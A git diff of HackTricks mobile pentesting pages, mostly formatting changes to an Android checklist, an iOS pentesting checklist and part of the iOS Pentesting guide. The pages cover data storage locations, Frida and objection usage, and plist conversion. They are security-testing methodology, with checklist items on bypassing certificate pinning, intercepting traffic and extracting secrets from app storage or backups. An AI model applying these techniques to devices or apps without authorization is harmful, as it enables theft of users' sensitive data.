private group where you will get the help you need and much more!** {% endhint %} -If you want to know about my **latest modifications**/**additions** or you have **any suggestion for HackTricks** or **PEASS**, **join the** [**💬**](https://emojipedia.org/speech-balloon/)[**telegram group**](https://t.me/peass), or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** -If you want to **share some tricks with the community** you can also submit **pull requests** to [**https://github.com/carlospolop/hacktricks**](https://github.com/carlospolop/hacktricks) that will be reflected in this book and don't forget to **give ⭐** on **github** to **motivate** **me** to continue developing this book. +If you want to know about my **latest modifications**/**additions** or you have **any suggestion for HackTricks **or** PEASS**, **join the** [**💬**](https://emojipedia.org/speech-balloon/)[**telegram group**](https://t.me/peass), or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**\ +If you want to **share some tricks with the community** you can also submit **pull requests** to [**https://github.com/carlospolop/hacktricks**](https://github.com/carlospolop/hacktricks) that will be reflected in this book and don't forget to** give ⭐** on **github** to **motivate** **me** to continue developing this book. ### [Learn Android fundamentals](android-app-pentesting/#2-android-application-fundamentals) @@ -27,8 +27,8 @@ If you want to **share some tricks with the community** you can also submit **pu ### [Static Analysis](android-app-pentesting/#static-analysis) * [ ] Check for the use of [obfuscation](android-checklist.md#some-obfuscation-deobfuscation-information), checks for noting if the mobile was rooted, if an emulator is being used and anti-tampering checks. [Read this for more info](android-app-pentesting/#other-checks). -* [ ] Sensitive applications \(like bank apps\) should check if the mobile is rooted and should actuate in consequence. -* [ ] Search for [interesting strings](android-app-pentesting/#looking-for-interesting-info) \(passwords, URLs, API, encryption, backdoors, tokens, Bluetooth uuids...\). +* [ ] Sensitive applications (like bank apps) should check if the mobile is rooted and should actuate in consequence. +* [ ] Search for [interesting strings](android-app-pentesting/#looking-for-interesting-info) (passwords, URLs, API, encryption, backdoors, tokens, Bluetooth uuids...). * [ ] Special attention to [firebase ](android-app-pentesting/#firebase)APIs. * [ ] [Read the manifest:](android-app-pentesting/#basic-understanding-of-the-application-manifest-xml) * [ ] Check if the application is in debug mode and try to "exploit" it @@ -45,8 +45,8 @@ If you want to **share some tricks with the community** you can also submit **pu ### [Dynamic Analysis](android-app-pentesting/#dynamic-analysis) -* [ ] Prepare the environment \([online](android-app-pentesting/#online-dynamic-analysis), [local VM or physical](android-app-pentesting/#local-dynamic-analysis)\) -* [ ] Is there any [unintended data leakage](android-app-pentesting/#unintended-data-leakage) \(logging, copy/paste, crash logs\)? +* [ ] Prepare the environment ([online](android-app-pentesting/#online-dynamic-analysis), [local VM or physical](android-app-pentesting/#local-dynamic-analysis)) +* [ ] Is there any [unintended data leakage](android-app-pentesting/#unintended-data-leakage) (logging, copy/paste, crash logs)? * [ ] [Confidential information being saved in SQLite dbs](android-app-pentesting/#sqlite-dbs)? * [ ] [Exploitable exposed Activities](android-app-pentesting/#exploiting-exported-activities-authorisation-bypass)? * [ ] [Exploitable Content Providers](android-app-pentesting/#exploiting-content-providers-accessing-and-manipulating-sensitive-information)? @@ -54,9 +54,9 @@ If you want to **share some tricks with the community** you can also submit **pu * [ ] [Exploitable Broadcast Receivers](android-app-pentesting/#exploiting-broadcast-receivers)? * [ ] Is the application [transmitting information in clear text/using weak algorithms](android-app-pentesting/#insufficient-transport-layer-protection)? is a MitM possible? * [ ] [Inspect HTTP/HTTPS traffic](android-app-pentesting/#inspecting-http-traffic) - * [ ] This one is really important, because if you can capture the HTTP traffic you can search for common Web vulnerabilities \(Hacktricks has a lot of information about Web vulns\). -* [ ] Check for possible [Android Client Side Injections](android-app-pentesting/#android-client-side-injections-and-others) \(probably some static code analysis will help here\) -* [ ] [Frida](android-app-pentesting/#frida): Just Frida, use it to obtain interesting dynamic data from the application \(maybe some passwords...\) + * [ ] This one is really important, because if you can capture the HTTP traffic you can search for common Web vulnerabilities (Hacktricks has a lot of information about Web vulns). +* [ ] Check for possible [Android Client Side Injections](android-app-pentesting/#android-client-side-injections-and-others) (probably some static code analysis will help here) +* [ ] [Frida](android-app-pentesting/#frida): Just Frida, use it to obtain interesting dynamic data from the application (maybe some passwords...) ### Some obfuscation/Deobfuscation information @@ -64,11 +64,10 @@ If you want to **share some tricks with the community** you can also submit **pu -If you want to **know** about my **latest modifications**/**additions** or you have **any suggestion for HackTricks or PEASS**, ****join the [💬](https://emojipedia.org/speech-balloon/) ****[**PEASS & HackTricks telegram group here**](https://t.me/peass), or **follow me on Twitter** [🐦](https://emojipedia.org/bird/)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** -If you want to **share some tricks with the community** you can also submit **pull requests** to ****[**https://github.com/carlospolop/hacktricks**](https://github.com/carlospolop/hacktricks) ****that will be reflected in this book. +If you want to **know **about my **latest modifications**/**additions** or you have **any suggestion for HackTricks or PEASS**,** **join the [💬](https://emojipedia.org/speech-balloon/)** **[**PEASS & HackTricks telegram group here**](https://t.me/peass), or** follow me on Twitter **[🐦](https://emojipedia.org/bird/)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**\ +****If you want to** share some tricks with the community **you can also submit **pull requests **to** **[**https://github.com/carlospolop/hacktricks**](https://github.com/carlospolop/hacktricks)** **that will be reflected in this book.\ Don't forget to **give ⭐ on the github** to motivate me to continue developing this book. -![](../.gitbook/assets/68747470733a2f2f7777772e6275796d6561636f666665652e636f6d2f6173736574732f696d672f637573746f6d5f696d616765732f6f72616e67655f696d672e706e67%20%286%29%20%284%29.png) - -​[**Buy me a coffee here**](https://www.buymeacoffee.com/carlospolop)\*\*\*\* +![](<../.gitbook/assets/68747470733a2f2f7777772e6275796d6561636f666665652e636f6d2f6173736574732f696d672f637573746f6d5f696d616765732f6f72616e67655f696d672e706e67 (6) (4) (5).png>) +​[**Buy me a coffee here**](https://www.buymeacoffee.com/carlospolop)**** diff --git a/mobile-apps-pentesting/ios-pentesting-checklist.md b/mobile-apps-pentesting/ios-pentesting-checklist.md index c0554d83..497e2f4b 100644 --- a/mobile-apps-pentesting/ios-pentesting-checklist.md +++ b/mobile-apps-pentesting/ios-pentesting-checklist.md @@ -1,56 +1,56 @@ # iOS Pentesting Checklist {% hint style="danger" %} -Do you use **Hacktricks every day**? Did you find the book **very** **useful**? Would you like to **receive extra help** with cybersecurity questions? Would you like to **find more and higher quality content on Hacktricks**? -[**Support Hacktricks through github sponsors**](https://github.com/sponsors/carlospolop) **so we can dedicate more time to it and also get access to the Hacktricks private group where you will get the help you need and much more!** +Do you use **Hacktricks every day**? Did you find the book **very** **useful**? Would you like to **receive extra help** with cybersecurity questions? Would you like to **find more and higher quality content on Hacktricks**?\ +[**Support Hacktricks through github sponsors**](https://github.com/sponsors/carlospolop)** so we can dedicate more time to it and also get access to the Hacktricks private group where you will get the help you need and much more!** {% endhint %} -If you want to know about my **latest modifications**/**additions** or you have **any suggestion for HackTricks** or **PEASS**, **join the** [**💬**](https://emojipedia.org/speech-balloon/)[**telegram group**](https://t.me/peass), or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** -If you want to **share some tricks with the community** you can also submit **pull requests** to [**https://github.com/carlospolop/hacktricks**](https://github.com/carlospolop/hacktricks) that will be reflected in this book and don't forget to **give ⭐** on **github** to **motivate** **me** to continue developing this book. +If you want to know about my **latest modifications**/**additions** or you have **any suggestion for HackTricks **or** PEASS**, **join the** [**💬**](https://emojipedia.org/speech-balloon/)[**telegram group**](https://t.me/peass), or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**\ +If you want to **share some tricks with the community** you can also submit **pull requests** to [**https://github.com/carlospolop/hacktricks**](https://github.com/carlospolop/hacktricks) that will be reflected in this book and don't forget to** give ⭐** on **github** to **motivate** **me** to continue developing this book. ### Preparation -* [ ] Read [**iOS Basics**](ios-pentesting/ios-basics.md)\*\*\*\* -* [ ] Prepare your environment reading ****[**iOS Testing Environment**](ios-pentesting/ios-testing-environment.md)\*\*\*\* -* [ ] Read all the sections of ****[**iOS Initial Analysis**](ios-pentesting/#initial-analysis) ****to learn common actions to pentest an iOS application +* [ ] Read [**iOS Basics**](ios-pentesting/ios-basics.md)**** +* [ ] Prepare your environment reading** **[**iOS Testing Environment**](ios-pentesting/ios-testing-environment.md)**** +* [ ] Read all the sections of** **[**iOS Initial Analysis**](ios-pentesting/#initial-analysis)** **to learn common actions to pentest an iOS application ### Data Storage * [ ] [**Plist files**](ios-pentesting/#plist) can be used to store sensitive information. -* [ ] \*\*\*\*[**Core Data**](ios-pentesting/#core-data) \(SQLite database\) can store sensitive information. -* [ ] \*\*\*\*[**YapDatabases**](ios-pentesting/#yapdatabase) \(SQLite database\) can store sensitive information. -* [ ] \*\*\*\*[**Firebase**](ios-pentesting/#firebase-real-time-databases) miss-configuration. -* [ ] \*\*\*\*[**Realm databases**](ios-pentesting/#realm-databases) can store sensitive information. -* [ ] \*\*\*\*[**Couchbase Lite databases**](ios-pentesting/#couchbase-lite-databases) can store sensitive information. -* [ ] \*\*\*\*[**Binary cookies**](ios-pentesting/#cookies) can store sensitive information -* [ ] \*\*\*\*[**Cache data**](ios-pentesting/#cache) can store sensitive information -* [ ] \*\*\*\*[**Automatic snapshots**](ios-pentesting/#snapshots) can save visual sensitive information -* [ ] \*\*\*\*[**Keychain**](ios-pentesting/#keychain) is usually used to store sensitive information that can be left when reselling the phone. +* [ ] ****[**Core Data**](ios-pentesting/#core-data) (SQLite database) can store sensitive information. +* [ ] ****[**YapDatabases**](ios-pentesting/#yapdatabase) (SQLite database) can store sensitive information. +* [ ] ****[**Firebase**](ios-pentesting/#firebase-real-time-databases) miss-configuration. +* [ ] ****[**Realm databases**](ios-pentesting/#realm-databases) can store sensitive information. +* [ ] ****[**Couchbase Lite databases**](ios-pentesting/#couchbase-lite-databases) can store sensitive information. +* [ ] ****[**Binary cookies**](ios-pentesting/#cookies) can store sensitive information +* [ ] ****[**Cache data**](ios-pentesting/#cache) can store sensitive information +* [ ] ****[**Automatic snapshots**](ios-pentesting/#snapshots) can save visual sensitive information +* [ ] ****[**Keychain**](ios-pentesting/#keychain) is usually used to store sensitive information that can be left when reselling the phone. * [ ] In summary, just **check for sensitive information saved by the application in the filesystem** ### Keyboards * [ ] Does the application [**allow to use custom keyboards**](ios-pentesting/#custom-keyboards-keyboard-cache)? -* [ ] Check if sensitive information is saved in the [**keyboards cache files**](ios-pentesting/#custom-keyboards-keyboard-cache)\*\*\*\* +* [ ] Check if sensitive information is saved in the [**keyboards cache files**](ios-pentesting/#custom-keyboards-keyboard-cache)**** ### **Logs** -* [ ] Check if [**sensitive information is being logged**](ios-pentesting/#logs)\*\*\*\* +* [ ] Check if [**sensitive information is being logged**](ios-pentesting/#logs)**** ### Backups -* [ ] \*\*\*\*[**Backups**](ios-pentesting/#backups) can be used to **access the sensitive information** saved in the file system \(check the initial point of this checklist\) -* [ ] Also, [**backups**](ios-pentesting/#backups) can be used to **modify some configurations of the application**, then **restore** the backup on the phone, and the as the **modified configuration** is **loaded** some \(security\) **functionality** may be **bypassed** +* [ ] ****[**Backups**](ios-pentesting/#backups) can be used to **access the sensitive information** saved in the file system (check the initial point of this checklist) +* [ ] Also, [**backups**](ios-pentesting/#backups) can be used to **modify some configurations of the application**, then **restore** the backup on the phone, and the as the **modified configuration** is **loaded** some (security) **functionality** may be **bypassed** ### **Applications Memory** -* [ ] Check for sensitive information inside the [**application's memory**](ios-pentesting/#testing-memory-for-sensitive-data)\*\*\*\* +* [ ] Check for sensitive information inside the [**application's memory**](ios-pentesting/#testing-memory-for-sensitive-data)**** ### **Broken Cryptography** -* [ ] Check if yo can find [**passwords used for cryptography**](ios-pentesting/#broken-cryptography)\*\*\*\* +* [ ] Check if yo can find [**passwords used for cryptography**](ios-pentesting/#broken-cryptography)**** * [ ] Check for the use of [**deprecated/weak algorithms**](ios-pentesting/#broken-cryptography) to send/store sensitive data -* [ ] \*\*\*\*[**Hook and monitor cryptography functions**](ios-pentesting/#broken-cryptography)\*\*\*\* +* [ ] ****[**Hook and monitor cryptography functions**](ios-pentesting/#broken-cryptography)**** ### **Local Authentication** @@ -60,39 +60,38 @@ If you want to **share some tricks with the community** you can also submit **pu ### Sensitive Functionality Exposure Through IPC -* \*\*\*\*[**Custom URI Handlers / Deeplinks / Custom Schemes**](ios-pentesting/#custom-uri-handlers-deeplinks-custom-schemes)\*\*\*\* +* ****[**Custom URI Handlers / Deeplinks / Custom Schemes**](ios-pentesting/#custom-uri-handlers-deeplinks-custom-schemes)**** * [ ] Check if the application is **registering any protocol/scheme** - * [ ] Check if the application is **registering to use** any protocol/scheme + * [ ] Check if the application is **registering to use **any protocol/scheme * [ ] Check if the application **expects to receive any kind of sensitive information** from the custom scheme that can be **intercepted** by the another application registering the same scheme * [ ] Check if the application **isn't checking and sanitizing** users input via the custom scheme and some **vulnerability can be exploited** - * [ ] Check if the application **exposes any sensitive action** that can be called from anywhere via the custom scheme -* \*\*\*\*[**Universal Links**](ios-pentesting/#universal-links)\*\*\*\* + * [ ] Check if the application **exposes any sensitive action **that can be called from anywhere via the custom scheme +* ****[**Universal Links**](ios-pentesting/#universal-links)**** * [ ] Check if the application is **registering any universal protocol/scheme** - * [ ] Check the **`apple-app-site-association`** file + * [ ] Check the** `apple-app-site-association` **file * [ ] Check if the application **isn't checking and sanitizing** users input via the custom scheme and some **vulnerability can be exploited** - * [ ] Check if the application **exposes any sensitive action** that can be called from anywhere via the custom scheme -* \*\*\*\*[**UIActivity Sharing**](ios-pentesting/ios-uiactivity-sharing.md)\*\*\*\* + * [ ] Check if the application **exposes any sensitive action **that can be called from anywhere via the custom scheme +* ****[**UIActivity Sharing**](ios-pentesting/ios-uiactivity-sharing.md)**** * [ ] Check if the application can receive UIActivities and if it's possible to exploit any vulnerability with specially crafted activity -* \*\*\*\*[**UIPasteboard**](ios-pentesting/ios-uipasteboard.md)\*\*\*\* +* ****[**UIPasteboard**](ios-pentesting/ios-uipasteboard.md)**** * [ ] Check if the application if **copying anything to the general pasteboard** * [ ] Check if the application if **using the data from the general pasteboard for anything** * [ ] Monitor the pasteboard to see if any **sensitive data is copied** -* \*\*\*\*[**App Extensions**](ios-pentesting/ios-app-extensions.md)\*\*\*\* +* ****[**App Extensions**](ios-pentesting/ios-app-extensions.md)**** * [ ] Is the application **using any extension**? -* [**WebViews**](ios-pentesting/ios-webviews.md)\*\*\*\* +* [**WebViews**](ios-pentesting/ios-webviews.md)**** * [ ] Check which kind of webviews are being used * [ ] Check the status of **`javaScriptEnabled`**, **`JavaScriptCanOpenWindowsAutomatically`**, **`hasOnlySecureContent`** - * [ ] Check if the webview can **access local files** with the protocol **file://** **\(**`allowFileAccessFromFileURLs`, `allowUniversalAccessFromFileURLs`\) - * [ ] Check if Javascript can access **Native** **methods** \(`JSContext`, `postMessage`\) + * [ ] Check if the webview can **access local files** with the protocol **file://** **(**`allowFileAccessFromFileURLs`, `allowUniversalAccessFromFileURLs`) + * [ ] Check if Javascript can access **Native** **methods** (`JSContext`, `postMessage`) ### Network Communication * [ ] Perform a [**MitM to the communication**](ios-pentesting/#network-communication) and search for web vulnerabilities. * [ ] Check if the [**hostname of the certificate**](ios-pentesting/#hostname-check) is checked -* [ ] Check/Bypass [**Certificate Pinning**](ios-pentesting/#certificate-pinning)\*\*\*\* +* [ ] Check/Bypass [**Certificate Pinning**](ios-pentesting/#certificate-pinning)**** ### **Misc** * [ ] Check for [**automatic patching/updating**](ios-pentesting/#hot-patching-enforced-updateing) mechanisms -* [ ] Check for [**malicious third party libraries**](ios-pentesting/#third-parties)\*\*\*\* - +* [ ] Check for [**malicious third party libraries**](ios-pentesting/#third-parties)**** diff --git a/mobile-apps-pentesting/ios-pentesting/README.md b/mobile-apps-pentesting/ios-pentesting/README.md index 87ca6d89..c7c5d3df 100644 --- a/mobile-apps-pentesting/ios-pentesting/README.md +++ b/mobile-apps-pentesting/ios-pentesting/README.md @@ -1,33 +1,39 @@ # iOS Pentesting {% hint style="danger" %} -Do you use **Hacktricks every day**? Did you find the book **very** **useful**? Would you like to **receive extra help** with cybersecurity questions? Would you like to **find more and higher quality content on Hacktricks**? +Do you use **Hacktricks every day**? Did you find the book **very** **useful**? Would you like to **receive extra help** with cybersecurity questions? Would you like to **find more and higher quality content on Hacktricks**?\ [**Support Hacktricks through github sponsors**](https://github.com/sponsors/carlospolop) **so we can dedicate more time to it and also get access to the Hacktricks private group where you will get the help you need and much more!** {% endhint %} -If you want to know about my **latest modifications**/**additions** or you have **any suggestion for HackTricks** or **PEASS**, **join the** [**💬**](https://emojipedia.org/speech-balloon/)[**telegram group**](https://t.me/peass), or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** +If you want to know about my **latest modifications**/**additions** or you have **any suggestion for HackTricks** or **PEASS**, **join the** [**💬**](https://emojipedia.org/speech-balloon/)[**telegram group**](https://t.me/peass), or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**\ If you want to **share some tricks with the community** you can also submit **pull requests** to [**https://github.com/carlospolop/hacktricks**](https://github.com/carlospolop/hacktricks) that will be reflected in this book and don't forget to **give ⭐** on **github** to **motivate** **me** to continue developing this book. ## iOS Basics -{% page-ref page="ios-basics.md" %} +{% content-ref url="ios-basics.md" %} +[ios-basics.md](ios-basics.md) +{% endcontent-ref %} ## Testing Environment In this page you can find information about the **iOS simulator**, **emulators** and **jailbreaking:** -{% page-ref page="ios-testing-environment.md" %} +{% content-ref url="ios-testing-environment.md" %} +[ios-testing-environment.md](ios-testing-environment.md) +{% endcontent-ref %} ## Initial Analysis ### Basic iOS Testing Operations -During the testing **several operations are going to be suggested** \(connect to the device, read/write/upload/download files, use some tools...\). Therefore, if you don't know how to perform any of these actions please, **start reading the page**: +During the testing **several operations are going to be suggested** (connect to the device, read/write/upload/download files, use some tools...). Therefore, if you don't know how to perform any of these actions please, **start reading the page**: -{% page-ref page="basic-ios-testing-operations.md" %} +{% content-ref url="basic-ios-testing-operations.md" %} +[basic-ios-testing-operations.md](basic-ios-testing-operations.md) +{% endcontent-ref %} {% hint style="info" %} -For the following steps **the app should be installed** in the device and should have already obtained the **IPA file** of the application. +For the following steps **the app should be installed** in the device and should have already obtained the **IPA file** of the application.\ Read the [Basic iOS Testing Operations](basic-ios-testing-operations.md) page to learn how to do this. {% endhint %} @@ -41,7 +47,7 @@ Check out the dynamic analysis that [**MobSF**](https://github.com/MobSF/Mobile- ### Listing Installed Apps -When targeting apps that are installed on the device, you'll first have to figure out the correct bundle identifier of the application you want to analyze. You can use `frida-ps -Uai` to get all apps \(`-a`\) currently installed \(`-i`\) on the connected USB device \(`-U`\): +When targeting apps that are installed on the device, you'll first have to figure out the correct bundle identifier of the application you want to analyze. You can use `frida-ps -Uai` to get all apps (`-a`) currently installed (`-i`) on the connected USB device (`-U`): ```bash $ frida-ps -Uai @@ -60,18 +66,20 @@ $ frida-ps -Uai Learn how to **enumerate the components of the application** and how to easily **hook methods and classes** with objection: -{% page-ref page="ios-hooking-with-objection.md" %} +{% content-ref url="ios-hooking-with-objection.md" %} +[ios-hooking-with-objection.md](ios-hooking-with-objection.md) +{% endcontent-ref %} ### IPA Structure -`.ipa` files are **zipped** **packages**, so you can change the extension to `.zip` and **decompress** them. A **complete** **packaged** app ready to be installed is commonly referred to as a **Bundle**. +`.ipa` files are **zipped** **packages**, so you can change the extension to `.zip` and **decompress** them. A **complete** **packaged** app ready to be installed is commonly referred to as a **Bundle**.\ After decompressing them you should see `.app` , a zipped archive that contains the rest of the resources. * `Info.plist`: A file that contains some of the application specific configurations. * `_CodeSignature/` contains a plist file with a signature over all files in the bundle. -* `Assets.car`: Another zipped archive that contains assets \(icons\). +* `Assets.car`: Another zipped archive that contains assets (icons). * `Frameworks/` contains the app native libraries as .dylib or .framework files. -* `PlugIns/` may contain app extensions as .appex files \(not present in the example\). +* `PlugIns/` may contain app extensions as .appex files (not present in the example). * [`Core Data`](https://developer.apple.com/documentation/coredata): It is used to save your application’s permanent data for offline use, to cache temporary data, and to add undo functionality to your app on a single device. To sync data across multiple devices in a single iCloud account, Core Data automatically mirrors your schema to a CloudKit container. * [`PkgInfo`](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): The `PkgInfo` file is an alternate way to specify the type and creator codes of your application or bundle. * **en.lproj, fr.proj, Base.lproj**: Are the language packs that contains resources for those specific languages, and a default resource in case a language isn' t supported. @@ -80,35 +88,34 @@ There are multiple ways to define the UI in an iOS application: _storyboard_, _n #### Info.plist -The information property list or `Info.plist` is the main source of information for an iOS app. It consists of a structured file containing **key-value** pairs describing essential configuration information about the app. Actually, all bundled executables \(app extensions, frameworks and apps\) are **expected to have** an `Info.plist` file. You can find all possible keys in the [**Apple Developer Documentation**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc). +The information property list or `Info.plist` is the main source of information for an iOS app. It consists of a structured file containing **key-value** pairs describing essential configuration information about the app. Actually, all bundled executables (app extensions, frameworks and apps) are **expected to have** an `Info.plist` file. You can find all possible keys in the [**Apple Developer Documentation**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc). -The file might be formatted in **XML or binary \(bplist\)**. You can **convert it to XML** format with one simple command: +The file might be formatted in **XML or binary (bplist)**. You can **convert it to XML** format with one simple command: -* On macOS with `plutil`, which is a tool that comes natively with macOS 10.2 and above versions \(no official online documentation is currently available\): +* On macOS with `plutil`, which is a tool that comes natively with macOS 10.2 and above versions (no official online documentation is currently available): - ```bash - $ plutil -convert xml1 Info.plist - ``` + ```bash + $ plutil -convert xml1 Info.plist + ``` +* On Linux: -* On Linux: - - ```bash - $ apt install libplist-utils - $ plistutil -i Info.plist -o Info_xml.plist - ``` + ```bash + $ apt install libplist-utils + $ plistutil -i Info.plist -o Info_xml.plist + ``` Here's a non-exhaustive list of some info and the corresponding keywords that you can easily search for in the `Info.plist` file by just inspecting the file or by using `grep -i Info.plist`: * App permissions Purpose Strings: `UsageDescription` * Custom URL schemes: `CFBundleURLTypes` * Exported/imported _custom document types_: `UTExportedTypeDeclarations` / `UTImportedTypeDeclarations` -* App Transport Security \(ATS\) configuration: `NSAppTransportSecurity` +* App Transport Security (ATS) configuration: `NSAppTransportSecurity` Please refer to the mentioned chapters to learn more about how to test each of these points. #### Data Paths -On iOS, **system applications can be found in the `/Applications`** directory while **user-installed** apps are available under **`/private/var/containers/`**. However, finding the right folder just by navigating the file system is not a trivial task as **every app gets a random 128-bit UUID** \(Universal Unique Identifier\) assigned for its directory names. +On iOS, **system applications can be found in the `/Applications`** directory while **user-installed** apps are available under **`/private/var/containers/`**. However, finding the right folder just by navigating the file system is not a trivial task as **every app gets a random 128-bit UUID** (Universal Unique Identifier) assigned for its directory names. In order to easily obtain the installation directory information for user-installed apps you can use **objection's command `env`** will also show you all the directory information of the app: @@ -125,10 +132,10 @@ LibraryDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8E As you can see, apps have two main locations: -* The **Bundle** **directory** \(`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/`\). -* The **Data directory** \(`/var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/`\). +* The **Bundle** **directory** (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/`). +* The **Data directory** (`/var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/`). -These folders contain information that must be examined closely during application security assessments \(for example when analyzing the stored data for sensitive data\). +These folders contain information that must be examined closely during application security assessments (for example when analyzing the stored data for sensitive data). **Bundle directory:** @@ -146,7 +153,7 @@ These folders contain information that must be examined closely during applicati * Content in this directory is **backed up**. * The app can disable paths by setting `NSURLIsExcludedFromBackupKey`. * **Library/** - * Contains all **files that aren't user-specific**, such as **caches**, **preferences**, **cookies**, and property list \(plist\) configuration files. + * Contains all **files that aren't user-specific**, such as **caches**, **preferences**, **cookies**, and property list (plist) configuration files. * iOS apps usually use the `Application Support` and `Caches` subdirectories, but the app can create custom subdirectories. * **Library/Caches/** * Contains **semi-persistent cached files.** @@ -160,7 +167,7 @@ These folders contain information that must be examined closely during applicati * The app can disable paths by setting `NSURLIsExcludedFromBackupKey`. * **Library/Preferences/** * Used for storing properties that can **persist even after an application is restarted**. - * Information is saved, unencrypted, inside the application sandbox in a plist file called \[BUNDLE\_ID\].plist. + * Information is saved, unencrypted, inside the application sandbox in a plist file called \[BUNDLE_ID].plist. * All the key/value pairs stored using `NSUserDefaults` can be found in this file. * **tmp/** * Use this directory to write **temporary files** that do not need to persist between app launches. @@ -169,7 +176,7 @@ These folders contain information that must be examined closely during applicati * Content in this directory is not backed up. * The OS may delete this directory's files automatically when the app is not running and storage space is running low. -Let's take a closer look at iGoat-Swift's Application Bundle \(.app\) directory inside the Bundle directory \(`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`\): +Let's take a closer look at iGoat-Swift's Application Bundle (.app) directory inside the Bundle directory (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`): ```bash OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # ls @@ -279,11 +286,13 @@ However, the best options to disassemble the binary are: [**Hopper**](https://ww To learn about how iOS stores data in the device read this page: -{% page-ref page="ios-basics.md" %} +{% content-ref url="ios-basics.md" %} +[ios-basics.md](ios-basics.md) +{% endcontent-ref %} {% hint style="warning" %} -The following places to store information should be checked **right after installing the application**, **after checking all the functionalities** of the application and even after **login out from one user and login into a different one**. -The goal is to find **unprotected sensitive information** of the application \(passwords, tokens\), of the current user and of previously logged users. +The following places to store information should be checked **right after installing the application**, **after checking all the functionalities** of the application and even after **login out from one user and login into a different one**.\ +The goal is to find **unprotected sensitive information** of the application (passwords, tokens), of the current user and of previously logged users. {% endhint %} ### Plist @@ -304,30 +313,28 @@ To find all the plist of used by the application you can access to `/private/var find ./ -name "*.plist" ``` -The file might be formatted in **XML or binary \(bplist\)**. You can **convert it to XML** format with one simple command: +The file might be formatted in **XML or binary (bplist)**. You can **convert it to XML** format with one simple command: -* On macOS with `plutil`, which is a tool that comes natively with macOS 10.2 and above versions \(no official online documentation is currently available\): +* On macOS with `plutil`, which is a tool that comes natively with macOS 10.2 and above versions (no official online documentation is currently available): - ```bash - $ plutil -convert xml1 Info.plist - ``` + ```bash + $ plutil -convert xml1 Info.plist + ``` +* On Linux: -* On Linux: + ```bash + $ apt install libplist-utils + $ plistutil -i Info.plist -o Info_xml.plist + ``` +* On an objection's session: - ```bash - $ apt install libplist-utils - $ plistutil -i Info.plist -o Info_xml.plist - ``` - -* On an objection's session: - - ```bash - ios plist cat /private/var/mobile/Containers/Data/Application/AF1F534B-1B8F-0825-ACB21-C0301AB7E56D/Library/Preferences/com.some.package.app.plist - ``` + ```bash + ios plist cat /private/var/mobile/Containers/Data/Application/AF1F534B-1B8F-0825-ACB21-C0301AB7E56D/Library/Preferences/com.some.package.app.plist + ``` ### Core Data -[`Core Data`](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/CoreData/nsfetchedresultscontroller.html#//apple_ref/doc/uid/TP40001075-CH8-SW1) is a framework for managing the model layer of objects in your application. [Core Data can use SQLite as its persistent store](https://cocoacasts.com/what-is-the-difference-between-core-data-and-sqlite/), but the framework itself is not a database. +[`Core Data`](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/CoreData/nsfetchedresultscontroller.html#//apple_ref/doc/uid/TP40001075-CH8-SW1) is a framework for managing the model layer of objects in your application. [Core Data can use SQLite as its persistent store](https://cocoacasts.com/what-is-the-difference-between-core-data-and-sqlite/), but the framework itself is not a database.\ CoreData does not encrypt it's data by default. However, an additional encryption layer can be added to CoreData. See the [GitHub Repo](https://github.com/project-imas/encrypted-core-data) for more details. You can find the SQLite Core Data information of an application in the path `/private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support` @@ -362,12 +369,12 @@ You can find the SQLite Core Data information of an application in the path `/pr ### YapDatabase -[YapDatabase](https://github.com/yapstudios/YapDatabase) is a key/value store built on top of SQLite. +[YapDatabase](https://github.com/yapstudios/YapDatabase) is a key/value store built on top of SQLite.\ As the Yap databases are sqlite databases you can find them using the purposed commend in the previous section. ### Other SQLite Databases -It's common for applications to create their own sqlite database. They may be **storing** **sensitive** **data** on them and leaving it unencrypted. Therefore, it's always interesting to check every database inside the applications directory. Therefore go to the application directory where the data is saved \(`/private/var/mobile/Containers/Data/Application/{APPID}`\) +It's common for applications to create their own sqlite database. They may be **storing** **sensitive** **data** on them and leaving it unencrypted. Therefore, it's always interesting to check every database inside the applications directory. Therefore go to the application directory where the data is saved (`/private/var/mobile/Containers/Data/Application/{APPID}`) ```bash find ./ -name "*.sqlite" -or -name "*.db" @@ -379,7 +386,9 @@ It can be leveraged by application developers to s**tore and sync data with a No You can find how to check for misconfigured Firebase databases here: 